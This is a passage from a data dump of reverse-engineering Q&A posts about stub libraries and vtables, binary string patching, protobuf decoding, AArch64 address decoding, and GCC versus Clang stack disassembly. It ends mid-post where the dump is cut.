  <row Id="15407" PostTypeId="1" AcceptedAnswerId="15423" CreationDate="2017-05-23T02:13:17.087" Score="2" ViewCount="200" Body="&lt;p&gt;I have a closed source Linux library libfoo that makes calls into another closed source library libbar for additional (mostly unneeded) features. However, I can't use libbar for ethical reasons, so I am trying to make a dummy library libfakebar that &quot;implements&quot; as little as possible of libbar while still being able to be used as a drop-in replacement (i.e., as close as possible to a collection of stubs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially tried to simply extract the defined symbols from libbar via &lt;code&gt;nm -D --defined-only libbar.so&lt;/code&gt; and only create stubs for those symbols, referencing the available public documentation for the appropriate function signatures.  However, this fails when libfoo attempts to make calls that are not based on symbols.  Specifically, it calls &lt;code&gt;BarInstance()&lt;/code&gt; in libbar to get a pointer to a C++ class instance, adds a seemingly arbitrary value to that pointer, then uses the value found at the new address as a pointer to the next function it calls.  Here is an example demonstrating this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;callq  0x7fff97158300 &amp;lt;BarInstance@plt&amp;gt;&#xA;mov    (%rax),%r8&#xA;lea    0x96c165(%rip),%rcx        # 0x7fff97b50e65&#xA;mov    %ebp,%edx&#xA;mov    %r12d,%esi&#xA;mov    %rax,%rdi&#xA;callq  *0x28(%r8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't understand how this is supposed to make sense or be &quot;legal&quot; code.  Remarkably, if I make &lt;code&gt;BarInstance()&lt;/code&gt; return a collection of pointers to stub functions instead of a class instance, libfoo runs without complaints and everything &quot;works&quot;.  Unfortunately, it's not quite good enough to meet my minimum functionality requirements as there is at least one feature I need that doesn't work with said stubs, and the strange calling behaviour of libfoo doesn't lend itself towards helping me understand what more may need to be added where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what impact this may make, but it appears as though libbar was built using GCC's &lt;code&gt;-fvisibility=hidden&lt;/code&gt;.  I have not been able to figure out exactly what to make of the above calling behaviour and as such what I need to do in libfakebar in order to properly replicate whatever is necessary for libfoo's code to work as expected - what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="20290" LastEditorUserId="2318" LastEditDate="2017-05-23T08:34:00.577" LastActivityDate="2017-05-27T06:24:38.727" Title="Determining an application's library call behaviour" Tags="|disassembly|x86|linux|c++|libraries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15408" PostTypeId="2" ParentId="12608" CreationDate="2017-05-23T10:04:34.820" Score="2" Body="&lt;p&gt;Sounds like you have a variadic &lt;code&gt;__thiscall&lt;/code&gt; function (printf-like). Those use &lt;code&gt;ecx&lt;/code&gt; for &lt;code&gt;this&lt;/code&gt; but the remaining arguments are pushed onto the stack and the caller cleans it up.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-05-23T20:54:16.623" LastActivityDate="2017-05-23T20:54:16.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15409" PostTypeId="2" ParentId="8382" CreationDate="2017-05-23T10:11:18.913" Score="0" Body="&lt;p&gt;Masm uses 0 and 1 as the address constants is: you told it to do so because you told it to use the offset in the structure, NOT the memory location. And indeed, the field &quot;first&quot; sits at offset 0 and occupies a byte. This makes the offset for &quot;second&quot; equal to 1.&#xA;You probably wanted to access the &lt;strong&gt;instantiation&lt;/strong&gt; of your structure, which you placed at the address called Initializedstructure. In this case, you would have to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [Initializedstructure].First&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to access the field &quot;first&quot; of that Initializedstructure.&#xA;And, by the way, should you try to access such structures using vector instructions (SSE, AVX), Masm frequently looses it altogether and you need to additionally specify the operand size, such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vmovdqu xmm0, xmmword ptr [Initializedstructure].Some128bitField&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="20295" LastActivityDate="2017-05-23T10:11:18.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15410" PostTypeId="1" CreationDate="2017-05-23T15:05:33.577" Score="1" ViewCount="229" Body="&lt;p&gt;I am a new reverse enigneerer. I know I can patch strings using a hex editor, but I obviously can't add or remove a single byte. Is there any workaround that will let me make a... let's say, 10 byte string, into a 1 MB string? (Just an example). &lt;/p&gt;&#xA;" OwnerUserId="20299" LastActivityDate="2017-06-07T01:34:54.387" Title="Is it possible to make a string bigger on an executable without breaking it?" Tags="|executable|binary|patching|strings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15411" PostTypeId="2" ParentId="15410" CreationDate="2017-05-23T16:04:55.047" Score="2" Body="&lt;p&gt;In this case you will likely need to add a new section (dont think a code cave can be 1MB.. on any architecture) and overwrite the code to read from the the original string location to the new string location (at least) or write your own code to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, depending on the architecture and implementation its very much likely that you can make the string shorter than the original, by adding a null terminator as your last byte (i.e. 0x00). Depending on whats after that string, you can in some cases make it longer by moving the null terminator.&lt;/p&gt;&#xA;" OwnerUserId="3744" LastEditorUserId="3744" LastEditDate="2017-05-23T16:10:48.840" LastActivityDate="2017-05-23T16:10:48.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15412" PostTypeId="1" CreationDate="2017-05-23T17:34:58.870" Score="-2" ViewCount="1531" Body="&lt;p&gt;With Malware/Virus analysis being heavily dependant on one's ability to read the the Assembly Code generated by the Disassembler... being familiar with the Assembly Language is naturally the most important pre-requisite when it comes to this field.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, aside from Assembly, should I know C or C++ as well?&lt;br&gt;&#xA;If so, how important is C or C++ in relations to this field? and for what reason? And which should I tackle first?  Which is more important and more directly related to Malware/Virus analysis?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are most Malware/Viruses these days writtein in ASM? C? C++? or Java? &lt;/p&gt;&#xA;" OwnerUserId="20261" LastActivityDate="2017-05-23T21:09:12.033" Title="Aside from Assembly, should I learn C or C++?" Tags="|malware|c++|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15413" PostTypeId="2" ParentId="15378" CreationDate="2017-05-23T18:23:10.557" Score="1" Body="&lt;p&gt;There is nothing special about this file. It's just a ZIP archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6b65Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6b65Q.png&quot; alt=&quot;header&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See that &lt;code&gt;50 4B 03 04&lt;/code&gt;? The &lt;code&gt;PK&lt;/code&gt; is a dead giveaway when you take a peak. This is the &quot;magic number&quot; identifier for a ZIP archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your standard &lt;code&gt;unzip&lt;/code&gt; will work fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Downloads » unzip file.take&#xA;Archive:  file.take&#xA; extracting: Bryan Potter - 2017 04 26 110613-balltrajectory.pbuf&#xA; extracting: Bryan Potter - 2017 04 26 110613-clubtrajectory.pbuf&#xA; extracting: Bryan Potter - 2017 04 26 110613-forceplate.pbuf&#xA; extracting: Bryan Potter - 2017 04 26 110613-pressure.pbuf&#xA; extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.avi&#xA; extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.jpg&#xA; extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.avi&#xA; extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.jpg&#xA; extracting: data.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The binwalk @SYS_V ran said as much, it just wasn't very clear about it. It mentions finding the footer and just assumes you understand what that means.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30047692      0x1CA7DCC       End of Zip archive, footer length: 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12091" LastActivityDate="2017-05-23T18:23:10.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15414" PostTypeId="1" AcceptedAnswerId="15417" CreationDate="2017-05-23T19:53:13.147" Score="2" ViewCount="1094" Body="&lt;p&gt;I have a number of protobuf files but no .proto schema file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat myfile.pbuf | protoc --decode_raw &amp;gt; outputfile.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the above command, I was able to decode the file into a somewhat readable protobuf format (&lt;a href=&quot;https://stackoverflow.com/questions/25898230/decoding-protobuf-without-schema&quot;&gt;Thanks&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: 1&#xA;2: &quot;&quot;&#xA;2 {&#xA;  1: 0x40133f7ced916873&#xA;  2: 0x3ff70e5604189375&#xA;  3: 0xbfd23d70a3d70a3d&#xA;  4: 0x3fb999999999999a&#xA;}&#xA;2 {&#xA;  1: 0x4022e7ef9db22d0e&#xA;  2: 0x4006ed916872b021&#xA;  3: 0xbfe1cac083126e98&#xA;  4: 0x3fc999999999999a&#xA;}&#xA;2 {&#xA;  1: 0x402bdcac083126e9&#xA;  2: 0x40111374bc6a7efa&#xA;  3: 0xbfe9fbe76c8b4396&#xA;  4: 0x3fd3333333333333&#xA;}&#xA;2 {&#xA;  1: 0x40324147ae147ae1&#xA;  2: 0x401696872b020c4a&#xA;  3: 0xbff0e147ae147ae1&#xA;  4: 0x3fd999999999999a&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know without the schema I cannot know the meaning of these values, but I am wondering if there is anything else I can do to deduce what this strangeness is!  The &lt;a href=&quot;https://developers.google.com/protocol-buffers/docs/encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;protobuf documentation&lt;/a&gt; seems to indicate that numerical data is served in 2 or 4 byte chunks, which I could easily convert to ints or floats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My data does not fit into this format, but I know it to be numerical data!  I've never seen a protobuf file with the hex &lt;code&gt;x&lt;/code&gt; notation, and there are 16 bytes (way too many for a single number!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What datatype might this be, is it possible to decode and further without the schema, and are the &lt;code&gt;1, 2, 3, 4&lt;/code&gt; useful or significant?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="20252" LastActivityDate="2017-05-24T00:18:55.583" Title="Deducing Protobuf Schema and Datatypes" Tags="|file-format|python|encodings|protocol|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15415" PostTypeId="2" ParentId="15412" CreationDate="2017-05-23T21:09:12.033" Score="0" Body="&lt;p&gt;I don't think you should make such a binary distinction between C and C++ as valuable knowledge for a reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, should you learn C? In my opinion, it's almost mandatory, it's the language the closest to assembly with just higher abstraction to get a better grasp at the big picture. Most of the things you'll reverse are derived from C, and this will be an invaluable help to understand most of the usual construct patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, should you learn C++? It's a more nuanced question and really boils down to what you are going to reverse. If most of your targets are C++ based, once again it would be of great help. If you're expecting to reverse none-C++ stuff most of the time, it might be somewhat inefficient.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2017-05-23T21:09:12.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15417" PostTypeId="2" ParentId="15414" CreationDate="2017-05-24T00:18:55.583" Score="3" Body="&lt;p&gt;I suspect these are IEEE doubles. For example, 0x3fd3333333333333 is 2.99999999999999988897769753748E-1, or around 0.3. I used &lt;a href=&quot;http://www.binaryconvert.com/convert_double.html?hexadecimal=3fd3333333333333&quot; rel=&quot;nofollow noreferrer&quot;&gt;this converter&lt;/a&gt; to check &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-24T00:18:55.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15418" PostTypeId="1" AcceptedAnswerId="15422" CreationDate="2017-05-24T11:53:55.563" Score="6" ViewCount="5102" Body="&lt;p&gt;Hello reverse engineers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm analysing a fat Macho-O binary, and it has an ADRP and an ADD instruction in it.&#xA;I'm talking about these instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__text:00000001002E050C                 ADRP            X8, #some_function@PAGE&#xA;__text:00000001002E0510                 ADD             X8, X8, #some_function@PAGEOFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ADRP instruction has the bytes &quot;08 00 00 90&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ADD instruction has the bytes &quot;08 61 0D 91&quot;&#xA;How could I get the value out of the 2 instructions?&#xA;This is my program to calculate the address of some_function:&#xA;It should sign extend a 21-bit offset, shift it left by 12, and add it to PC with the 12 bottom bits cleared.&#xA;Then I should get the last 12 bits from the ADD instruction, and add it to this value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    int instr = 0x90000008;&#xA;    //int instr = 0x80000090;&#xA;    int value = 0x1fffff &amp;amp; instr;&#xA;    int mask = 0x100000;&#xA;    if(mask &amp;amp; instr)&#xA;    {&#xA;            value += 0xffe00000;&#xA;    }&#xA;    printf(&quot;value : %08x\n&quot;, value);&#xA;    value = value &amp;lt;&amp;lt; 12;&#xA;    printf(&quot;value : %08x\n&quot;, value);&#xA;    int instr2 = 0x910d6108;&#xA;    //int instr2 = 0x08610d91;&#xA;    value += (instr2 &amp;amp; 0xfff); //get the last 12 bits from instr2&#xA;    printf(&quot;value : %08x\n&quot;, value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After executing the instructions, the value 00000001002E0358 should be in X8, because that is the address of the function we want to calculate.&#xA;The output of my program is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value : 00000008&#xA;value : 00008000&#xA;value : 00008108&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion: I was reading the wrong ARM manual.&#xA;The official AArch64-manual from ARM is the one you should use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    const int tab32[32] = {&#xA;     0,  9,  1, 10, 13, 21,  2, 29,&#xA;    11, 14, 16, 18, 22, 25,  3, 30,&#xA;     8, 12, 20, 28, 15, 17, 24,  7,&#xA;    19, 27, 23,  6, 26,  5,  4, 31};&#xA;&#xA;    int log2_32 (uint32_t value)&#xA;    {&#xA;        value |= value &amp;gt;&amp;gt; 1;&#xA;        value |= value &amp;gt;&amp;gt; 2;&#xA;        value |= value &amp;gt;&amp;gt; 4;&#xA;        value |= value &amp;gt;&amp;gt; 8;&#xA;        value |= value &amp;gt;&amp;gt; 16;&#xA;        return tab32[(uint32_t)(value*0x07C4ACDD) &amp;gt;&amp;gt; 27];&#xA;    }&#xA;&#xA;    uint64_t get_page_address_64(uint64_t addr, uint32_t pagesize)&#xA;    {&#xA;            int bits_page_offset;&#xA;            bits_page_offset = log2_32(pagesize);&#xA;            return (addr &amp;gt;&amp;gt; (bits_page_offset - 1)) &amp;lt;&amp;lt; (bits_page_offset - 1);&#xA;    }&#xA;&#xA;    uint64_t get_adrp_add_va(unsigned char *adrp_loc, uint64_t va){&#xA;        uint32_t instr, instr2, immlo, immhi;&#xA;        int32_t value;&#xA;        int64_t value_64;&#xA;        //imm12 64 bits if sf = 1, else 32 bits&#xA;        uint64_t imm12;&#xA;        instr = *(uint32_t *)adrp_loc;&#xA;        immlo = (0x60000000 &amp;amp; instr) &amp;gt;&amp;gt; 29;&#xA;        immhi = (0xffffe0 &amp;amp; instr) &amp;gt;&amp;gt; 3;&#xA;        value = (immlo | immhi) &amp;lt;&amp;lt; 12;&#xA;        //sign extend value to 64 bits&#xA;        value_64 = value;&#xA;        //get the imm value from add instruction&#xA;        instr2 = *(uint32_t *)(adrp_loc + 4);&#xA;        imm12 = (instr2 &amp;amp; 0x3ffc00) &amp;gt;&amp;gt; 10;&#xA;        if(instr2 &amp;amp; 0xc00000)&#xA;        {&#xA;                imm12 &amp;lt;&amp;lt;= 12;&#xA;&#xA;        }&#xA;        return get_page_address_64(va, PAGE_SIZE) + value_64 + imm12;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19980" LastEditorUserId="19980" LastEditDate="2017-06-09T11:16:51.940" LastActivityDate="2017-06-09T11:16:51.940" Title="getting function address by reading ADRP and ADD instruction values" Tags="|ida|assembly|arm|ios|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15420" PostTypeId="1" AcceptedAnswerId="15452" CreationDate="2017-05-25T05:33:19.680" Score="2" ViewCount="3159" Body="&lt;p&gt;I using Windows, and I was wondering what is the best anti anti debug plugin that exist,&#xA;I tried to use hidedebug by Bob -&gt; Team PEiD, but unfortunately it catch only the regular ways, I know that some of you will send me to the documents of all functions, but I'm looking for something that will make my life easier.&#xA;P.S:&#xA;I'm trying to debug just for fun and not for work :)&#xA;Thanks ahead.&lt;/p&gt;&#xA;" OwnerUserId="20317" LastActivityDate="2017-11-27T20:01:40.197" Title="Immunity debugger anti anti debug" Tags="|disassembly|windows|anti-debugging|immunity-debugger|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15421" PostTypeId="2" ParentId="15420" CreationDate="2017-05-25T06:16:24.490" Score="0" Body="&lt;p&gt;have you tried patch_antidebug.py ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/theevilbit/immunity_scripts/archive/b0876ee751a00d0f0840be5a728de6b71ee50982/theevilbit_immunity_scripts-b0876ee7.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/theevilbit/immunity_scripts/archive/b0876ee751a00d0f0840be5a728de6b71ee50982/theevilbit_immunity_scripts-b0876ee7.tar.gz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20319" LastActivityDate="2017-05-25T06:16:24.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15422" PostTypeId="2" ParentId="15418" CreationDate="2017-05-25T07:00:31.363" Score="8" Body="&lt;p&gt;For the first instruction (&lt;code&gt;0x90000008&lt;/code&gt;) it matches the opcode below for PC relative addressing instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VLGfS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VLGfS.png&quot; alt=&quot;pc-relative addressing opcode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x90000008 = 0b10010000000000000000000000001000&lt;/code&gt; so we have op=1 (ADRP), immlo=0, immhi=0 and Rd=8 (X8). The  instruction decodes to &lt;code&gt;ADRP X8, #0&lt;/code&gt;. This is going take the current page the instruction pointer is at, add 0&amp;lt;&amp;lt;12, and store in register &lt;code&gt;X8&lt;/code&gt; so you would have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;X8 = page_address_of(0x00000001002E050C) + 0&amp;lt;&amp;lt;12 = 0x00000001002E0000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next instruction &lt;code&gt;0x910d6108&lt;/code&gt; matches the instruction for ADD/SUBTRACT immediate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ev9fK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ev9fK.png&quot; alt=&quot;add/sub opcode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x910d6108 = 0b10010001000011010110000100001000&lt;/code&gt; so we have sf=1 (64-bit variant), op=0 (add), S=0 (non-saturating), shift=0 (LSL #0), imm12=0x358, Rn=8 (X8), Rd=8 (X8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It decodes to &lt;code&gt;ADD X8, X8, #0x358&lt;/code&gt; which would add 0x358 to X8 so you would have&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;X8 = X8 + 0x358 = 0x00000001002E0358&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="14715" LastEditDate="2017-05-25T17:48:29.837" LastActivityDate="2017-05-25T17:48:29.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15423" PostTypeId="2" ParentId="15407" CreationDate="2017-05-25T10:00:46.227" Score="3" Body="&lt;p&gt;This appears to be fairly typical virtual function call where the pointer to the virtual function table is stored in the object at offset &lt;code&gt;0000&lt;/code&gt; and the call is to the function pointed to at offset &lt;code&gt;0028&lt;/code&gt; in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object's virtual function table pointer (at offset &lt;code&gt;0000&lt;/code&gt;) is initialized in the class constructor.  Since the constructor will be in the library, there does not need to be any direct reference to the virtual function table in the calling code.&#xA;Similarly, a normal call to virtual function is via the virtual function table and there is no need for any direct reference to it in the calling code either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For consistency between the application and library, it is important that both &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the library header file(s) used for the compilation of the application match the library binary, and&lt;/li&gt;&#xA;&lt;li&gt;the compiler used to compile the application uses the same &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_binary_interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;Application Binary Interface&lt;/a&gt; as that used to compile the library.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more information about this you might want to read about &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Compatibility.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary compatibility&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the things specified by an ABI is the order of the functions in the virtual function table.  For example, the Itanium C++ ABI (used by GCC) says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The order of the virtual function pointers in a virtual table is the order of declaration of the corresponding member functions in the class.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hence, if the declaration order were to change between building the library and building the application there will no longer be binary compatibility.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2017-05-27T06:24:38.727" LastActivityDate="2017-05-27T06:24:38.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15424" PostTypeId="1" CreationDate="2017-05-25T14:14:10.030" Score="1" ViewCount="675" Body="&lt;p&gt;I've been looking at disassembly of x86 32-bit code generated by GCC vs Clang.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Environment is Ubuntu Server 16.04.2 32bit running in VMware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are compiled with the same options. No optimizations so no omitting frame pointer or anything like that. Only difference is GCC was compiled with -mpreferred-stack-boundary=2 to have a 4 byte aligned stack and avoid the extra instructions managing stack alignment.  clang doesn't offer this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In GCC disassembly, function local stack variables are referenced using negative offsets to EBP while function arguments placed on the stack before a call are either pushed to stack or mov'd into stack memory using ESP relative positive offsets (1st arg: ESP, 2nd arg: ESP+4, etc...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using clang, for the same source file,  the generated assembly uses EBP relative negative offsets for both accessing function local vars AND accessing the head of the stack, head of the stack + 4, etc.. for placing call arguments on the stack. ESP is almost never used aside from the initial function prologue. And there's several function calls in the disassembly I'm looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not used to this notation and I find it a bit odd since the actual negative offset value from EBP to get to the head of the stack will always be changing as the stack grow / contracts.  Whereas using ESP, it's more intuitive to know that prior to a CALL,  value at ESP will be 1st arg, value at ESP+4 will be 2nd, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I suppose the result is the same because any local stack frame location can be indexed via EBP, including the head of the stack, provided you know at any given instruction how much stack memory has been allocated since the start of the stack frame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. ESP = EBP - (total number of bytes allocated so far in current frame)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason for the difference?  Purely a different implementation choice?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I don't have the actual disassembly on hand right now but I will edit the question later to add it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GCC 5.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;┌ (fcn) sym.check_authentication 89&#xA;│   sym.check_authentication (int arg_8h);&#xA;│ ; var int local_14h @ ebp-0x14&#xA;│ ; var int local_4h @ ebp-0x4&#xA;│ ; arg int arg_8h @ ebp+0x8&#xA;│ 0x080484cb      55             push ebp&#xA;│ 0x080484cc      89e5           mov ebp, esp&#xA;│ 0x080484ce      83ec14         sub esp, 0x14&#xA;│ 0x080484d1      c745fc000000.  mov dword [ebp - 4], 0&#xA;│ 0x080484d8      ff7508         push dword [ebp + 8]&#xA;│ 0x080484db      8d45ec         lea eax, [ebp - 0x14]&#xA;│ 0x080484de      50             push eax&#xA;│ 0x080484df      e89cfeffff     call sym.imp.strcpy&#xA;│ 0x080484e4      83c408         add esp, 8&#xA;│ 0x080484e7      6820860408     push str.brillig                      ; &quot;brillig&quot; @ 0x8048620&#xA;│ 0x080484ec      8d45ec         lea eax, [ebp - 0x14]&#xA;│ 0x080484ef      50             push eax&#xA;│ 0x080484f0      e86bfeffff     call sym.imp.strcmp&#xA;│ 0x080484f5      83c408         add esp, 8&#xA;│ 0x080484f8      85c0           test eax, eax&#xA;│ 0x080484fa      7507           jne 0x8048503&#xA;│ 0x080484fc      c745fc010000.  mov dword [ebp - 4], 1&#xA;│ 0x08048503      6828860408     push str.outgrabe                     ; &quot;outgrabe&quot; @ 0x8048628&#xA;│ 0x08048508      8d45ec         lea eax, [ebp - 0x14]&#xA;│ 0x0804850b      50             push eax&#xA;│ 0x0804850c      e84ffeffff     call sym.imp.strcmp&#xA;│ 0x08048511      83c408         add esp, 8&#xA;│ 0x08048514      85c0           test eax, eax&#xA;│ 0x08048516      7507           jne 0x804851f&#xA;│ 0x08048518      c745fc010000.  mov dword [ebp - 4], 1&#xA;│ 0x0804851f      8b45fc         mov eax, dword [ebp - 4]&#xA;│ 0x08048522      c9             leave&#xA;└ 0x08048523      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;clang 3.8.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;┌ (fcn) sym.check_authentication 121&#xA;│   sym.check_authentication (int arg_8h);&#xA;│ ; var int local_20h @ ebp-0x20&#xA;│ ; var int local_1ch @ ebp-0x1c&#xA;│ ; var int local_18h @ ebp-0x18&#xA;│ ; var int local_14h @ ebp-0x14&#xA;│ ; var int local_4h @ ebp-0x4&#xA;│ ; arg int arg_8h @ ebp+0x8&#xA;│ 0x080484a0      55             push ebp&#xA;│ 0x080484a1      89e5           mov ebp, esp&#xA;│ 0x080484a3      83ec28         sub esp, 0x28                         ; '('&#xA;│ 0x080484a6      8b4508         mov eax, dword [ebp + 8]              ; [0x8:4]=-1 ; 8(null)&#xA;│ 0x080484a9      8d4dec         lea ecx, [ebp - 0x14]&#xA;│ 0x080484ac      8945fc         mov dword [ebp - 4], eax&#xA;│ 0x080484af      c745e8000000.  mov dword [ebp - 0x18], 0&#xA;│ 0x080484b6      8b45fc         mov eax, dword [ebp - 4]&#xA;│ 0x080484b9      89e2           mov edx, esp&#xA;│ 0x080484bb      894204         mov dword [edx + 4], eax&#xA;│ 0x080484be      890a           mov dword [edx], ecx&#xA;│ 0x080484c0      894de4         mov dword [ebp - 0x1c], ecx&#xA;│ 0x080484c3      e898feffff     call sym.imp.strcpy&#xA;│ 0x080484c8      89e1           mov ecx, esp&#xA;│ 0x080484ca      8b55e4         mov edx, dword [ebp - 0x1c]&#xA;│ 0x080484cd      8911           mov dword [ecx], edx&#xA;│ 0x080484cf      c74104608604.  mov dword [ecx + 4], str.brillig      ; [0x8048660:4]=0x6c697262 ; &quot;brillig&quot; @ 0x8048660&#xA;│ 0x080484d6      8945e0         mov dword [ebp - 0x20], eax&#xA;│ 0x080484d9      e862feffff     call sym.imp.strcmp&#xA;│ 0x080484de      83f800         cmp eax, 0&#xA;│ 0x080484e1      0f8507000000   jne 0x80484ee&#xA;│ 0x080484e7      c745e8010000.  mov dword [ebp - 0x18], 1&#xA;│ 0x080484ee      8d45ec         lea eax, [ebp - 0x14]&#xA;│ 0x080484f1      89e1           mov ecx, esp&#xA;│ 0x080484f3      8901           mov dword [ecx], eax&#xA;│ 0x080484f5      c74104688604.  mov dword 